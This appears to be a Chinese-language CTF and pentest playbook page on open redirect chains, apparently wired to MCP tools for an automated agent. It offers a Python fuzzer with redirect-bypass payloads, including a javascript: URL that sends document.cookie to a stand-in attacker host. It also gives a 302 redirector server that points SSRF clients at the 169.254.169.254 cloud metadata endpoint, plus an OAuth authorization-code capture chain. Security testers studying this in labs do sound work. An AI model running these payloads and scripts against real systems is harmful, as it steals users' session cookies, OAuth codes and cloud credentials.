Skip to content

Open Redirect & Redirect Chain Attacks ​

开放重定向不是只看 Location: https://attacker。CTF 里更常见的是:白名单解析器通过,浏览器/下游客户端跳到另一处;或者 OAuth、SSRF、缓存、meta refresh 把这个跳转当成信任边界。

输入信号 ​

信号立即动作命中样本失败样本
next/redirect/returnUrl 等参数参数字典 + 302/HTML/JS location oracleLocation 指向 attacker只回相对路径
白名单域校验parser 差分矩阵校验通过但浏览器跳外域URL parser 严格规范化
OAuth redirect_uri一次/二次编码、fragment、userinfocode/token 到 listenerOAuth server 精确匹配
SSRF 客户端 follow redirect让 trusted URL 302 到 internal下游跟随到内网/metadatafollow redirect 关闭
meta refresh / JS redirectjavascript:, data:, HTML 注入执行脚本或外带状态scheme 白名单
CRLF in redirect%0d%0aSet-Cookie新 header/cache 行为换行被编码

工作流 ​

text
发现 redirect 参数
  → 建 baseline: 302/Location/HTML/meta/JS
  → URL parser 差分矩阵
  → 根据 sink 选择 OAuth/SSRF/cache/XSS/CRLF 链
  → listener 或业务 oracle 收集成功与失败样本

0. 参数发现与 URL 矩阵 ​

python
#!/usr/bin/env python3
import argparse
import hashlib
import json
import requests
from urllib.parse import quote

PARAMS = ["redirect","redirect_uri","redirect_url","url","next","return","returnTo","returnUrl","goto","continue","target","dest","destination","callback","back","ref","ru","retUrl"]
URLS = [
    "https://attacker.example/cb",
    "//attacker.example/cb",
    "///attacker.example/cb",
    "https://target.example@attacker.example/cb",
    "https://target.example.attacker.example/cb",
    "https://attacker.example%23.target.example/cb",
    "https://attacker.example%3f.target.example/cb",
    "https:%5c%5cattacker.example%5ccb",
    "/\\attacker.example/cb",
    "javascript:location='https://attacker.example/'+document.cookie",
]

def h(text):
    return hashlib.sha256(text.encode("utf-8", errors="ignore")).hexdigest()[:16]

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True, help="endpoint without query")
    ap.add_argument("--host", default="target.example")
    args = ap.parse_args()
    for p in PARAMS:
        for u in URLS:
            payload = u.replace("target.example", args.host)
            r = requests.get(args.url, params={p: payload}, allow_redirects=False, timeout=10)
            print(json.dumps({"param": p, "payload": payload, "status": r.status_code, "location": r.headers.get("Location",""), "hash": h(r.text), "sample": r.text[:120]}, ensure_ascii=False))

if __name__ == "__main__":
    main()

成功样本:Location、meta refresh、JS location、JSON redirect 字段任一指向 attacker,并能被浏览器或下游客户端执行。失败样本:只反射在页面文本,或被规范化成站内路径。

1. Parser 差分矩阵 ​

变体绕过点命中样本
target.com@attacker.comuserinfo vs host校验看前缀,浏览器到 attacker
target.com.attacker.comsuffix/prefix includes白名单字符串匹配弱
//attacker.comscheme-relative跳外域
\attacker.com反斜杠规范化差异浏览器/代理解释不同
%2f%2fattacker.com解码次数差异一层校验一层执行
attacker.com#target.comfragment 不发给服务端OAuth/浏览器解析差异
punycode/同形字视觉或 IDNA 差异白名单误判

2. OAuth code 回收 ​

text
authorize endpoint
  → redirect_uri 指向目标站内 open redirect
  → 目标站 302 到 listener
  → listener 收到 code/state
  → token endpoint 交换或证明 code 落点

Evidence 必须记录:authorize URL、目标站 Location、listener 收到的 code/state、token endpoint 的成功或失败样本。

3. SSRF follow redirect ​

python
#!/usr/bin/env python3
import argparse
from http.server import BaseHTTPRequestHandler, HTTPServer

class R(BaseHTTPRequestHandler):
    target = "http://169.254.169.254/latest/meta-data/"
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", self.target)
        self.end_headers()
        self.wfile.write(b"redirecting")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--listen", default="0.0.0.0")
    ap.add_argument("--port", type=int, default=8088)
    ap.add_argument("--target", required=True)
    args = ap.parse_args()
    R.target = args.target
    HTTPServer((args.listen, args.port), R).serve_forever()

if __name__ == "__main__":
    main()

把 SSRF 参数指向该 listener,如果服务端 HTTP client 跟随 302,下一跳会访问 --target。成功样本是 listener 访问日志加目标侧响应差异;失败样本是只访问第一跳或明确不 follow。

4. 链路选择 ​

Redirect sink下一跳
登录回跳session fixation、phishing 页面、token leak
OAuth redirect_uricode/token 回收
SSRF URLmetadata/internal/admin panel
cache/CDNcache poisoning/web cache deception
meta refresh/JSXSS/admin bot
CRLF Locationheader injection、Set-Cookie/cache

攻击链 ​

text
Open Redirect
  → URL parser 差分
  → OAuth code / SSRF follow / cache / XSS / CRLF sink
  → listener 或业务 oracle 证明下一跳

Evidence ​

项记录内容
入口参数名、请求 URL、状态码、Location/meta/JS/JSON 字段
URL 差分payload、编码层数、服务端校验结果、浏览器实际目标
链路OAuth/SSRF/cache/XSS/CRLF 的下一跳证据
成功样本listener 收到 code/token/请求,或业务状态/缓存/header 变化
失败样本规范化站内路径、scheme 拒绝、不 follow redirect、state mismatch
下一跳OAuth 转 20-oauth-deep;SSRF 转 ssrf;CRLF 转 hpp-crlf;cache 转 08-infra

MCP 工具映射 ​

步骤MCP 工具说明
重定向探测http_probe固定参数字典和 allow_redirects=false
知识路由kb_router按 open redirect、OAuth redirect、SSRF follow 搜索

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用